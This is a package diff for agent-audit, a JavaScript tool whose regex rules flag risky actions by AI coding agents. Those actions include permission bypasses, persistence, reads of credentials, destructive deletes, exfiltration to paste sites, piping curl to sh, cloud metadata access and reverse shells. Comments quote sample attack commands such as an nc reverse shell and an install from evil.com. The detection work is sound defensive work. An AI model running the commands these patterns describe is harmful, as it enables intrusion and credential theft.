@fanzhen/agent-audit 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,231 @@
1
+ // Ported 1:1 from src/agentaudit/rules/bypass.py (Python implementation is the spec).
2
+ // Patterns use String.raw so they stay character-for-character identical to the
3
+ // Python raw strings; adjacent String.raw`` segments concatenate exactly like
4
+ // the adjacent string literals in the .py file.
5
+ // Python keeps these as class-level `re.compile` attributes; here they are
6
+ // module-level RegExp consts, grouped right above the class that uses them.
7
+ import { FileWrite, ShellCommand, pathBasename, } from "../events.js";
8
+ import { RegexRule, Rule } from "./base.js";
9
+ const B001_NAME_RE = new RegExp(String.raw `^settings(\.local)?\.json$`, "i");
10
+ // middle spans capped {0,2000}: adversarial repeated anchors stay linear (ReDoS hardening)
11
+ const B001_DANGER_RE = new RegExp(String.raw `"allow"\s*:\s*\[[^\]]{0,2000}"(Bash|Edit|Write|WebFetch|\*)`, "i");
12
+ export class B001 extends Rule {
13
+ id = "B001";
14
+ severity = "critical";
15
+ title = "Loosened Claude Code permissions";
16
+ explanation = "settings.json allow-list was widened to powerful tools or wildcards.";
17
+ recommendation = "Revert the permission change; audit what ran while it was active.";
18
+ appliesTo = [FileWrite];
19
+ check(event) {
20
+ if (!(event instanceof FileWrite)) {
21
+ return null;
22
+ }
23
+ // (JS `$` here anchors strictly at end-of-string; Python's would also take a
24
+ // trailing "\n" — impossible for a basename, so no behavioral difference.)
25
+ if (!B001_NAME_RE.test(pathBasename(event.path))) {
26
+ return null;
27
+ }
28
+ if (!event.content || !B001_DANGER_RE.test(event.content)) {
29
+ return null;
30
+ }
31
+ return {
32
+ ruleId: this.id,
33
+ severity: this.severity,
34
+ title: this.title,
35
+ event,
36
+ evidence: event.path.slice(0, 200),
37
+ explanation: this.explanation,
38
+ recommendation: this.recommendation,
39
+ };
40
+ }
41
+ }
42
+ const B002_SHELL_RE = new RegExp(String.raw `--dangerously-skip-permissions|--yolo\b` +
43
+ String.raw `|claude\s+config\s+set\b[^|;&\n]{0,400}(bypassPermissions|allowedTools)`, "i");
44
+ const B002_FILE_RE = new RegExp(String.raw `"defaultMode"\s*:\s*"bypassPermissions"|"hooks"\s*:\s*\{\s*\}`, "i");
45
+ export class B002 extends Rule {
46
+ id = "B002";
47
+ severity = "high";
48
+ title = "Disabled safety mechanisms";
49
+ explanation = "Bypass-permission flags or empty hooks disable the agent's safety net.";
50
+ recommendation = "Re-enable permissions/hooks; review actions taken while disabled.";
51
+ appliesTo = [ShellCommand, FileWrite];
52
+ check(event) {
53
+ let evidence;
54
+ if (event instanceof ShellCommand) {
55
+ const m = B002_SHELL_RE.exec(event.raw);
56
+ evidence = m ? m[0] : null;
57
+ }
58
+ else if (event instanceof FileWrite) {
59
+ if (!pathBasename(event.path).startsWith("settings")) {
60
+ return null;
61
+ }
62
+ evidence = B002_FILE_RE.test(event.content ?? "") ? event.path : null;
63
+ }
64
+ else {
65
+ return null;
66
+ }
67
+ if (!evidence) {
68
+ return null;
69
+ }
70
+ return {
71
+ ruleId: this.id,
72
+ severity: this.severity,
73
+ title: this.title,
74
+ event,
75
+ evidence: evidence.slice(0, 200),
76
+ explanation: this.explanation,
77
+ recommendation: this.recommendation,
78
+ };
79
+ }
80
+ }
81
+ // NOTE: `[\w./\\~-]*` (DEVIATION from the plan's `\S*`): `\S*` also consumes
82
+ // `>` characters, so on a `>`-heavy command (e.g. 20k `>` chars) every position
83
+ // rescans the whole tail — 3.2s quadratic blowup, same class as the C002/E005
84
+ // findings. A redirect-target path-char class cannot cross whitespace or `>`,
85
+ // keeping the scan linear (3.3ms) while still matching `>> ~/.bashrc`.
86
+ // Trade-off: quoted targets (`>> "$HOME/.bashrc"`) no longer match the shell
87
+ // channel; the FileWrite channel still catches the actual write.
88
+ const B003_SHELL_RE = new RegExp(String.raw `(>>|>)\s*[\w./\\~-]*(\.bashrc|\.zshrc|\.profile|\.bash_profile|\.zprofile)\b` +
89
+ String.raw `|Add-Content\s+\$PROFILE|Out-File\s+\$PROFILE`, "i");
90
+ const B003_RC_NAMES = new Set([
91
+ ".bashrc", ".zshrc", ".bash_profile", ".zprofile", ".profile",
92
+ "Microsoft.PowerShell_profile.ps1",
93
+ ]);
94
+ export class B003 extends Rule {
95
+ id = "B003";
96
+ severity = "high";
97
+ title = "Shell profile modification";
98
+ explanation = "Writing to shell RC files persists commands that run on every new shell.";
99
+ recommendation = "Inspect the written content; remove unknown lines.";
100
+ appliesTo = [ShellCommand, FileWrite];
101
+ check(event) {
102
+ let evidence;
103
+ if (event instanceof ShellCommand) {
104
+ const m = B003_SHELL_RE.exec(event.raw);
105
+ if (!m) {
106
+ return null;
107
+ }
108
+ evidence = m[0];
109
+ }
110
+ else if (event instanceof FileWrite) {
111
+ if (!B003_RC_NAMES.has(pathBasename(event.path))) {
112
+ return null;
113
+ }
114
+ evidence = event.path;
115
+ }
116
+ else {
117
+ return null;
118
+ }
119
+ return {
120
+ ruleId: this.id,
121
+ severity: this.severity,
122
+ title: this.title,
123
+ event,
124
+ evidence: evidence.slice(0, 200),
125
+ explanation: this.explanation,
126
+ recommendation: this.recommendation,
127
+ };
128
+ }
129
+ }
130
+ // NOTE: `\\(Run|RunOnce)\b` (DEVIATION from the plan's `\\(Run|RunOnce)\\`):
131
+ // the plan's trailing `\\` required a backslash AFTER the Run key, but real
132
+ // commands end the key path there ("...\CurrentVersion\Run /v x /d y"), so the
133
+ // planned pattern missed its own planned test case. `\b` matches both
134
+ // "...\Run /v" and "...\RunOnce\x" and still rejects "reg add HKCU\Software\Other".
135
+ const B004_SHELL_RE = new RegExp(String.raw `crontab\s+(-e|-r|--edit|--remove)\b` +
136
+ String.raw `|systemctl\s+(enable|start)\b` +
137
+ String.raw `|launchctl\s+(load|bootstrap)\b` +
138
+ String.raw `|schtasks\s+/create\b` +
139
+ String.raw `|reg\s+add\b[^|;&\n]{0,400}\\(Run|RunOnce)\b` +
140
+ String.raw `|\bsc\s+create\b`, "i");
141
+ const B004_FILE_RE = new RegExp(String.raw `LaunchAgents|/etc/cron\.|systemd/system`, "i");
142
+ export class B004 extends Rule {
143
+ id = "B004";
144
+ severity = "critical";
145
+ title = "System persistence installed";
146
+ explanation = "Cron/systemd/LaunchAgent/registry-run entries execute at boot or on schedule.";
147
+ recommendation = "Remove the persistence entry and inspect what it executes.";
148
+ appliesTo = [ShellCommand, FileWrite];
149
+ check(event) {
150
+ let evidence;
151
+ if (event instanceof ShellCommand) {
152
+ const m = B004_SHELL_RE.exec(event.raw);
153
+ if (!m) {
154
+ return null;
155
+ }
156
+ evidence = m[0];
157
+ }
158
+ else if (event instanceof FileWrite) {
159
+ if (!B004_FILE_RE.test(event.path)) {
160
+ return null;
161
+ }
162
+ evidence = event.path;
163
+ }
164
+ else {
165
+ return null;
166
+ }
167
+ return {
168
+ ruleId: this.id,
169
+ severity: this.severity,
170
+ title: this.title,
171
+ event,
172
+ evidence: evidence.slice(0, 200),
173
+ explanation: this.explanation,
174
+ recommendation: this.recommendation,
175
+ };
176
+ }
177
+ }
178
+ // NOTE: `[\w./\\~-]*` instead of the plan's `\S*` — see B003 (quadratic on
179
+ // `>`-heavy commands); still matches `>> ~/.ssh/authorized_keys` and
180
+ // `tee -a ~/.ssh/authorized_keys`.
181
+ const B005_SHELL_RE = new RegExp(String.raw `(>>?|tee\s+-a)\s*[\w./\\~-]*authorized_keys` +
182
+ String.raw `|ssh-keygen[^|;&\n]{0,400}\|\s*(tee|cat)\b`, "i");
183
+ export class B005 extends Rule {
184
+ id = "B005";
185
+ severity = "critical";
186
+ title = "authorized_keys modified";
187
+ explanation = "New SSH authorized keys grant remote login access.";
188
+ recommendation = "Remove unrecognized keys; rotate if the machine is exposed.";
189
+ appliesTo = [ShellCommand, FileWrite];
190
+ check(event) {
191
+ let evidence;
192
+ if (event instanceof ShellCommand) {
193
+ const m = B005_SHELL_RE.exec(event.raw);
194
+ if (!m) {
195
+ return null;
196
+ }
197
+ evidence = m[0];
198
+ }
199
+ else if (event instanceof FileWrite) {
200
+ if (pathBasename(event.path) !== "authorized_keys") {
201
+ return null;
202
+ }
203
+ evidence = event.path;
204
+ }
205
+ else {
206
+ return null;
207
+ }
208
+ return {
209
+ ruleId: this.id,
210
+ severity: this.severity,
211
+ title: this.title,
212
+ event,
213
+ evidence: evidence.slice(0, 200),
214
+ explanation: this.explanation,
215
+ recommendation: this.recommendation,
216
+ };
217
+ }
218
+ }
219
+ export class B006 extends RegexRule {
220
+ // v0.1.1: prefix class also admits " ' / so `/usr/bin/sudo x` and
221
+ // `sh -c "sudo x"` forms are caught (word-start sudo only, sudoedit safe)
222
+ static pattern = String.raw `(^|[\s;&|(\"'/])sudo\s|Start-Process\b[^|;&\n]{0,400}-Verb\s+RunAs`;
223
+ id = "B006";
224
+ severity = "medium";
225
+ title = "Privilege escalation via sudo";
226
+ explanation = "Commands ran as root; blast radius of any mistake or injection is the whole machine.";
227
+ recommendation = "Check each sudo invocation was justified.";
228
+ }
229
+ export function rules() {
230
+ return [new B001(), new B002(), new B003(), new B004(), new B005(), new B006()];
231
+ }
@@ -0,0 +1,70 @@
1
+ import { RegexRule } from "./base.js";
2
+ export class C001 extends RegexRule {
3
+ // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
4
+ static pattern = String.raw `\b(cat|type|less|more|head|tail|bat|Get-Content|gc)\b[^|;&\n]{0,400}\.env\b`;
5
+ id = "C001";
6
+ severity = "high";
7
+ title = "Read .env file";
8
+ explanation = ".env files typically hold API keys and database credentials.";
9
+ recommendation = "Check whether the secret values were further used or transmitted.";
10
+ }
11
+ export class C002 extends RegexRule {
12
+ static pattern = String.raw `\bid_(rsa|ed25519|ecdsa)\b` +
13
+ // \b prefix + {1,200} cap keep the scan linear: '.' and '/' are non-word
14
+ // chars inside the class, so each word->punct transition is a fresh start
15
+ // candidate whose greedy run backtracks (quadratic on dot/slash-heavy tokens)
16
+ String.raw `|\b[\w./\\-]{1,200}\.(pem|key|ppk)\b` +
17
+ String.raw `|\bserviceAccount[\w.-]*\.json\b`;
18
+ id = "C002";
19
+ severity = "high";
20
+ title = "Read key material";
21
+ explanation = "Private keys and service-account files grant long-lived access.";
22
+ recommendation = "Rotate the key if it was exposed to the model context.";
23
+ }
24
+ export class C003 extends RegexRule {
25
+ static pattern = String.raw `\.aws\b|\.ssh\b|\.gnupg\b|\.npmrc\b` +
26
+ String.raw `|\.docker[/\\]config\.json` +
27
+ String.raw `|\.kube[/\\]config\b`;
28
+ id = "C003";
29
+ severity = "high";
30
+ title = "Access credential directory";
31
+ explanation = "~/.aws, ~/.ssh, ~/.gnupg, .npmrc and .kube/config hold machine-wide credentials.";
32
+ recommendation = "Review what was read; rotate credentials if contents entered model context.";
33
+ }
34
+ export class C004 extends RegexRule {
35
+ static pattern = String.raw `security\s+find-(generic|internet)-password\b` +
36
+ String.raw `|\bpass\s+show\b` +
37
+ String.raw `|keyctl\s+(get|pipe)`;
38
+ id = "C004";
39
+ severity = "critical";
40
+ title = "Query OS keychain / password manager";
41
+ explanation = "Keychain or password-store queries can dump stored account credentials.";
42
+ recommendation = "Rotate affected credentials immediately.";
43
+ }
44
+ export class C005 extends RegexRule {
45
+ static pattern = String.raw `Login\s+Data\b` +
46
+ String.raw `|cookies\.sqlite\b` +
47
+ String.raw `|User\s+Data[/\\]+(Default|Profile)`;
48
+ id = "C005";
49
+ severity = "high";
50
+ title = "Access browser sensitive data";
51
+ explanation = "Browser login/cookie databases expose all saved sessions.";
52
+ recommendation = "Sign out affected accounts; consider the sessions compromised.";
53
+ }
54
+ export class C006 extends RegexRule {
55
+ // NOTE: DEVIATION from the plan's `(^|[\s;&|])(env|printenv)\b...`: the plan's
56
+ // version let any whitespace precede `env`, so "python -m venv env" (env as a
57
+ // mere argument) false-positived. Prefix is restricted to start-of-string or a
58
+ // command separator (;, &, |), so piped `env` dumps like "echo hi | env" still hit.
59
+ static pattern = String.raw `(^|[;&|])\s*(env|printenv)\b(\s*$|\s*\||\s*;)` +
60
+ String.raw `|Get-ChildItem\s+env:` +
61
+ String.raw `|\bgci\s+env:`;
62
+ id = "C006";
63
+ severity = "medium";
64
+ title = "Dump all environment variables";
65
+ explanation = "env dumps often include API tokens injected via CI/CD secrets.";
66
+ recommendation = "Check whether secret-looking values were printed or forwarded.";
67
+ }
68
+ export function rules() {
69
+ return [new C001(), new C002(), new C003(), new C004(), new C005(), new C006()];
70
+ }
@@ -0,0 +1,70 @@
1
+ import { RegexRule } from "./base.js";
2
+ export class D001 extends RegexRule {
3
+ // NOTE: "rm" intentionally has no leading \b so compound commands like
4
+ // "git rm -rf" still hit.
5
+ // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
6
+ static pattern =
7
+ // flag cluster containing both r and f (no trailing \b: -rfi etc. still hit)
8
+ String.raw `rm\s+(-[a-zA-Z]*r[a-zA-Z]*f|-[a-zA-Z]*f[a-zA-Z]*r)` +
9
+ // separated flags: rm -r ... -f (either order), long flags included
10
+ String.raw `|rm\b[^|;&\n]{0,400}\s-r[a-zA-Z]*\b[^|;&\n]{0,400}\s-f[a-zA-Z]*\b` +
11
+ String.raw `|rm\b[^|;&\n]{0,400}\s-f[a-zA-Z]*\b[^|;&\n]{0,400}\s-r[a-zA-Z]*\b` +
12
+ String.raw `|rm\b[^|;&\n]{0,400}--recursive\b[^|;&\n]{0,400}--force\b` +
13
+ String.raw `|rm\b[^|;&\n]{0,400}--force\b[^|;&\n]{0,400}--recursive\b` +
14
+ String.raw `|\brd\s+/s\s+/q\b` +
15
+ // /s and /q anywhere in the del command (any flag order/prefix)
16
+ String.raw `|\bdel\b[^|;&\n]{0,400}/s\b[^|;&\n]{0,400}/q\b` +
17
+ String.raw `|\bdel\b[^|;&\n]{0,400}/q\b[^|;&\n]{0,400}/s\b` +
18
+ String.raw `|Remove-Item\b[^|;&\n]{0,400}-Recurse\b[^|;&\n]{0,400}-Force` +
19
+ String.raw `|Remove-Item\b[^|;&\n]{0,400}-Force\b[^|;&\n]{0,400}-Recurse`;
20
+ id = "D001";
21
+ severity = "critical";
22
+ title = "Recursive force delete";
23
+ explanation = "Recursive force deletion can wipe entire directory trees beyond recovery.";
24
+ recommendation = "Confirm the deleted path scope; restore from VCS/backup if unintended.";
25
+ }
26
+ export class D002 extends RegexRule {
27
+ static pattern = String.raw `git\s+reset\s+--hard\b` +
28
+ String.raw `|git\s+clean\s+-\w*f` +
29
+ String.raw `|git\s+push\b[^|;&\n]{0,400}(\s--force\b|\s--force-with-lease\b|\s-[a-z]*f[a-z]*\b)` +
30
+ String.raw `|git\s+reflog\s+expire\b`;
31
+ id = "D002";
32
+ severity = "high";
33
+ title = "Destructive git operation";
34
+ explanation = "Hard resets, force pushes and clean can silently discard committed or uncommitted work.";
35
+ recommendation = "Check reflog; force-push only with explicit user intent.";
36
+ }
37
+ export class D003 extends RegexRule {
38
+ static pattern = String.raw `chmod\s+(-R\s+)?0?777\b`;
39
+ id = "D003";
40
+ severity = "medium";
41
+ title = "World-writable permissions (chmod 777)";
42
+ explanation = "chmod 777 makes files writable by every user on the machine.";
43
+ recommendation = "Use the narrowest permission set that works.";
44
+ }
45
+ export class D004 extends RegexRule {
46
+ static pattern = String.raw `\bdd\b[^|;&\n]{0,400}of=/dev/\w+` +
47
+ String.raw `|\bmkfs(\.\w+)?\b` +
48
+ String.raw `|diskutil\s+erase\w*` +
49
+ String.raw `|\bformat\s+[a-zA-Z]:(\s|$|;)`;
50
+ id = "D004";
51
+ severity = "critical";
52
+ title = "Disk-level write/erase";
53
+ explanation = "Raw device writes and filesystem formatting destroy all data on the target disk.";
54
+ recommendation = "Verify the target device; recover from backup if unintended.";
55
+ }
56
+ export class D005 extends RegexRule {
57
+ static pattern = String.raw `docker\s+system\s+prune\b[^|;&\n]{0,400}(\s--volumes\b|\s--all\b|\s-[a-z]*a[a-z]*\b)` +
58
+ String.raw `|killall\s+\w+` +
59
+ // single middle span: the system-process name is the strong signal;
60
+ // a chained /\im\b + name middle was quadratic on repeated anchors
61
+ String.raw `|taskkill\b[^|;&\n]{0,400}\b(explorer|svchost|csrss|wininit)\b`;
62
+ id = "D005";
63
+ severity = "high";
64
+ title = "System-level destructive action";
65
+ explanation = "Pruning all docker resources or killing system processes can take down unrelated services.";
66
+ recommendation = "Scope the operation to named resources only.";
67
+ }
68
+ export function rules() {
69
+ return [new D001(), new D002(), new D003(), new D004(), new D005()];
70
+ }
@@ -0,0 +1,101 @@
1
+ // Ported 1:1 from src/agentaudit/rules/exfiltration.py (Python implementation is the spec).
2
+ // Patterns use String.raw so they stay character-for-character identical to the
3
+ // Python raw strings; adjacent String.raw`` segments concatenate exactly like
4
+ // the adjacent string literals in the .py file.
5
+ import { ShellCommand } from "../events.js";
6
+ import { RegexRule, Rule } from "./base.js";
7
+ export class E001 extends RegexRule {
8
+ // NOTE: `-d\s*@` (DEVIATION from the plan's `-d\s+@`): curl accepts the
9
+ // attached form `-d@file` with no space, which `\s+` missed.
10
+ // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
11
+ static pattern = String.raw `(\bcat|\btype)\b[^|;&\n]{0,400}(id_rsa|\.pem\b|\.env\b|\.key\b)[^|;&\n]{0,400}\|[^|;&\n]{0,400}\b(curl|wget)\b` +
12
+ String.raw `|\b(curl|wget)\b[^|;&\n]{0,400}(--data\b|-d)\s*@` +
13
+ String.raw `|\b(curl|wget)\b[^|;&\n]{0,400}-F\b[^|;&\n]{0,400}file=@`;
14
+ id = "E001";
15
+ severity = "critical";
16
+ title = "Pipe/upload secrets to network";
17
+ explanation = "Secret file contents are sent to a remote endpoint.";
18
+ recommendation = "Treat the secret as compromised; rotate and block the destination.";
19
+ }
20
+ export class E002 extends RegexRule {
21
+ static pattern = String.raw `\$\(\s*(cat|type)\s+[^)\n]{0,400}(id_rsa|\.pem\b|\.env\b|\.key\b)`;
22
+ id = "E002";
23
+ severity = "critical";
24
+ title = "Command-substitution exfiltration";
25
+ explanation = "Command substitution $(cat <secret>) inlines secret contents into another command.";
26
+ recommendation = "Treat the secret as compromised; rotate it.";
27
+ }
28
+ export class E003 extends RegexRule {
29
+ static pattern = String.raw `pastebin\.com|transfer\.sh|0x0\.st|paste\.ee` +
30
+ String.raw `|discord(?:app)?\.com/api/webhooks` +
31
+ String.raw `|api\.telegram\.org/bot`;
32
+ id = "E003";
33
+ severity = "critical";
34
+ title = "Upload to paste site / webhook";
35
+ explanation = "Paste services and chat webhooks are common exfiltration destinations.";
36
+ recommendation = "Delete the paste/webhook message; rotate anything it contained.";
37
+ }
38
+ export class E004 extends RegexRule {
39
+ static pattern = String.raw `git\s+remote\s+add\b`;
40
+ id = "E004";
41
+ severity = "high";
42
+ title = "Add git remote";
43
+ explanation = "A newly added remote is a potential push destination for source code.";
44
+ recommendation = "Verify the remote URL is trusted before pushing anything.";
45
+ }
46
+ const ARCHIVE_CREATE_RE = new RegExp(String.raw `zip\s+-\w*r|tar\s+-\w*c\w*f|Compress-Archive`, "i");
47
+ // NOTE: DEVIATION from the plan's `(\S+\.(?:zip|...))`: an unanchored `\S+` is a
48
+ // start candidate at every position and backtracks the whole token per position —
49
+ // quadratic on long commands. Same fix family as C002: \b prefix + path-char
50
+ // class {1,200} cap keeps the scan linear (dot/slash-heavy tokens included) and
51
+ // still matches relative paths like ./builds/proj.zip.
52
+ const ARCHIVE_NAME_RE = new RegExp(String.raw `(\b[\w./\\-]{1,200}\.(?:zip|tar\.gz|tgz|tar|7z))(?:\s|$|[;&|])`, "i");
53
+ const UPLOAD_CMD_RE = new RegExp(String.raw `\b(curl|wget|scp|sftp)\b`, "i");
54
+ export class E005 extends Rule {
55
+ // Stateful: remembers the most recent archive artifact per session.
56
+ //
57
+ // The engine constructs fresh rule instances per run (allRules() factory),
58
+ // so this map never outlives one scan.
59
+ //
60
+ // By design, a combined one-liner ("zip ... && curl -F file=@out.zip ...") is
61
+ // treated as archive-create only: it stores the artifact and fires on a LATER
62
+ // separate upload event, never on the create event itself.
63
+ id = "E005";
64
+ // v0.1.1: whole-repo archive-then-upload raised from MEDIUM to HIGH
65
+ severity = "high";
66
+ title = "Archive-then-upload pattern";
67
+ explanation = "A directory was archived and the archive was immediately uploaded within the same session.";
68
+ recommendation = "Confirm the upload destination is authorized for this codebase.";
69
+ appliesTo = [ShellCommand];
70
+ // Python: self._last_archive: dict[str, str] = {} (keyed by session_id)
71
+ lastArchive = new Map();
72
+ check(event) {
73
+ if (!(event instanceof ShellCommand) || !event.raw) {
74
+ return null;
75
+ }
76
+ const m = ARCHIVE_NAME_RE.exec(event.raw);
77
+ if (m && ARCHIVE_CREATE_RE.test(event.raw)) {
78
+ this.lastArchive.set(event.sessionId, m[1]);
79
+ return null;
80
+ }
81
+ if (UPLOAD_CMD_RE.test(event.raw)) {
82
+ const target = this.lastArchive.get(event.sessionId);
83
+ if (target !== undefined && event.raw.includes(target)) {
84
+ this.lastArchive.delete(event.sessionId);
85
+ return {
86
+ ruleId: this.id,
87
+ severity: this.severity,
88
+ title: this.title,
89
+ event,
90
+ evidence: event.raw.slice(0, 200),
91
+ explanation: this.explanation,
92
+ recommendation: this.recommendation,
93
+ };
94
+ }
95
+ }
96
+ return null;
97
+ }
98
+ }
99
+ export function rules() {
100
+ return [new E001(), new E002(), new E003(), new E004(), new E005()];
101
+ }
@@ -0,0 +1,21 @@
1
+ import { rules as bypass } from "./bypass.js";
2
+ import { rules as credentials } from "./credentials.js";
3
+ import { rules as destructive } from "./destructive.js";
4
+ import { rules as exfiltration } from "./exfiltration.js";
5
+ import { rules as unsafe } from "./unsafe.js";
6
+ export const CATEGORY_TITLES = new Map([
7
+ ["D", "Destructive operations"],
8
+ ["C", "Credential access"],
9
+ ["E", "Data exfiltration"],
10
+ ["B", "Bypass & persistence"],
11
+ ["U", "Unsafe execution"],
12
+ ]);
13
+ export function allRules() {
14
+ return [
15
+ ...destructive(),
16
+ ...credentials(),
17
+ ...exfiltration(),
18
+ ...bypass(),
19
+ ...unsafe(),
20
+ ];
21
+ }
@@ -0,0 +1,85 @@
1
+ // Ported 1:1 from src/agentaudit/rules/unsafe.py (Python implementation is the spec).
2
+ // Patterns use String.raw so they stay character-for-character identical to the
3
+ // Python raw strings; adjacent String.raw`` segments concatenate exactly like
4
+ // the adjacent string literals in the .py file.
5
+ import { NetworkRequest, ShellCommand } from "../events.js";
6
+ import { RegexRule } from "./base.js";
7
+ export class U001 extends RegexRule {
8
+ // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
9
+ // \b prefix (v0.1.1): `xcurl ... | sh` must not match
10
+ static pattern = String.raw `\b(curl|wget|iwr|Invoke-WebRequest)\b[^|;&\n]{0,400}\|` +
11
+ String.raw `\s*(sudo\s+)?(iex|Invoke-Expression|(ba|z|da)?sh)\b`;
12
+ id = "U001";
13
+ severity = "critical";
14
+ title = "Pipe remote content into shell";
15
+ explanation = "Downloads executed without inspection run arbitrary attacker-controlled code.";
16
+ recommendation = "Download, review, then run; remove any persistence the script added.";
17
+ }
18
+ export class U002 extends RegexRule {
19
+ // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
20
+ static pattern = String.raw `base64\s+(-d|--decode)\b[^|;&\n]{0,400}\|[^|;&\n]{0,400}sh\b` +
21
+ String.raw `|FromBase64String` +
22
+ String.raw `|echo\s+[A-Za-z0-9+/=]{60,}\s*\|\s*(ba)?sh\b`;
23
+ id = "U002";
24
+ severity = "high";
25
+ title = "Execute obfuscated payload";
26
+ explanation = "Base64-decoded execution hides the real payload from review.";
27
+ recommendation = "Decode the payload and inspect it before trusting the session.";
28
+ }
29
+ export class U003 extends RegexRule {
30
+ // NOTE: `(?![\w.])` after each host (DEVIATION from the plan's bare literals):
31
+ // the plan's pattern matched the IP inside `169.254.169.254.evil.com`, failing
32
+ // its own planned miss case (subdomain squatting). The lookahead rejects the
33
+ // host only when more hostname (word chars or dots) follows; the real
34
+ // endpoints are followed by `/`, `:`, whitespace or end (e.g.
35
+ // `169.254.169.254/latest/meta-data/` still matches).
36
+ static pattern = String.raw `169\.254\.169\.254(?![\w.])|169\.254\.170\.2(?![\w.])` +
37
+ String.raw `|metadata\.google\.internal(?![\w.])|metadata\.azure\.com(?![\w.])`;
38
+ id = "U003";
39
+ severity = "critical";
40
+ title = "Cloud metadata endpoint access";
41
+ explanation = "Instance metadata endpoints return cloud credentials (SSRF to IAM takeover).";
42
+ recommendation = "Rotate cloud credentials for the instance immediately.";
43
+ appliesTo = [ShellCommand, NetworkRequest];
44
+ }
45
+ export class U004 extends RegexRule {
46
+ // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
47
+ // NOTE: npm branch accepts ANY `https?://`/`git+` (DEVIATION from the plan's
48
+ // `git\+?https?://|https?://\S+\.git\b`): the plan's pattern required a `.git`
49
+ // suffix and missed its own planned hit case `npm install -g https://evil.com/pkg.tgz`.
50
+ // Mirrors the pip branch in the same pattern (any URL = unpinned install).
51
+ static pattern = String.raw `(npm|pnpm|yarn)\s+(i|install)\b[^|;&\n]{0,400}(https?://|git\+)` +
52
+ String.raw `|pip3?\s+install\b[^|;&\n]{0,400}(https?://|git\+)`;
53
+ id = "U004";
54
+ severity = "low";
55
+ title = "Install from unpinned URL";
56
+ explanation = "Global installs from raw URLs bypass package registries and integrity checks.";
57
+ recommendation = "Prefer registry installs with pinned versions.";
58
+ }
59
+ export class U005 extends RegexRule {
60
+ // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
61
+ // NOTE: `/?(bin/|usr/bin/)?` before `(ba)?sh` (DEVIATION from the plan's
62
+ // `/?(ba)?sh`): the plan's pattern required `sh` right after the optional
63
+ // slash and missed its own planned hit case `nc -e /bin/sh 10.0.0.1 4444`
64
+ // (the canonical GTFOBins form, where `bin/` sits between `/` and `sh`).
65
+ // Explicit path segments (not `\S*`) keep backtracking bounded.
66
+ static pattern = String.raw `\bnc\b[^|;&\n]{0,400}\s-e\s+/?(bin/|usr/bin/)?(ba)?sh\b` +
67
+ String.raw `|/dev/tcp/` +
68
+ String.raw `|\bsocat\b[^|;&\n]{0,400}exec`;
69
+ id = "U005";
70
+ severity = "critical";
71
+ title = "Reverse-shell pattern";
72
+ explanation = "Reverse shells hand an interactive machine shell to a remote party.";
73
+ recommendation = "Kill the connection; investigate the machine for further compromise.";
74
+ }
75
+ export class U006 extends RegexRule {
76
+ static pattern = String.raw `chmod\s+\+x\s+\S+\s*(&&|;)\s*\./`;
77
+ id = "U006";
78
+ severity = "medium";
79
+ title = "Downloaded binary executed";
80
+ explanation = "A file was made executable and immediately run in one command.";
81
+ recommendation = "Verify the binary's origin and hash before further use.";
82
+ }
83
+ export function rules() {
84
+ return [new U001(), new U002(), new U003(), new U004(), new U005(), new U006()];
85
+ }
@@ -0,0 +1,18 @@
1
+ // Ledger M (win32 colors): picocolors decides color support ONCE, at import
2
+ // time — `isColorSupported` is a module-level `let` computed from env/argv and
3
+ // `module.exports = createColors()` bakes the formatters in immediately, so a
4
+ // NO_COLOR assignment made later (e.g. at the top of main()) has no effect.
5
+ // Python's rich instead gates each Console on .isatty() per creation, so a
6
+ // piped run renders plain there. To match: this gate must run BEFORE
7
+ // picocolors is first imported. cli.ts imports this module as its FIRST import
8
+ // (ESM evaluates imports in declaration order), which guarantees the ordering
9
+ // against report.js -> picocolors. Verified with picocolors 1.1.1 source:
10
+ // no lazy per-call env re-read exists.
11
+ //
12
+ // Matches the Python CLI surface: colored when stdout is a real terminal,
13
+ // plain when piped/captured. NO_COLOR already set means the user opted out
14
+ // explicitly and is always respected.
15
+ if (!process.stdout.isTTY && !process.env.NO_COLOR) {
16
+ process.env.NO_COLOR = "1";
17
+ }
18
+ export {};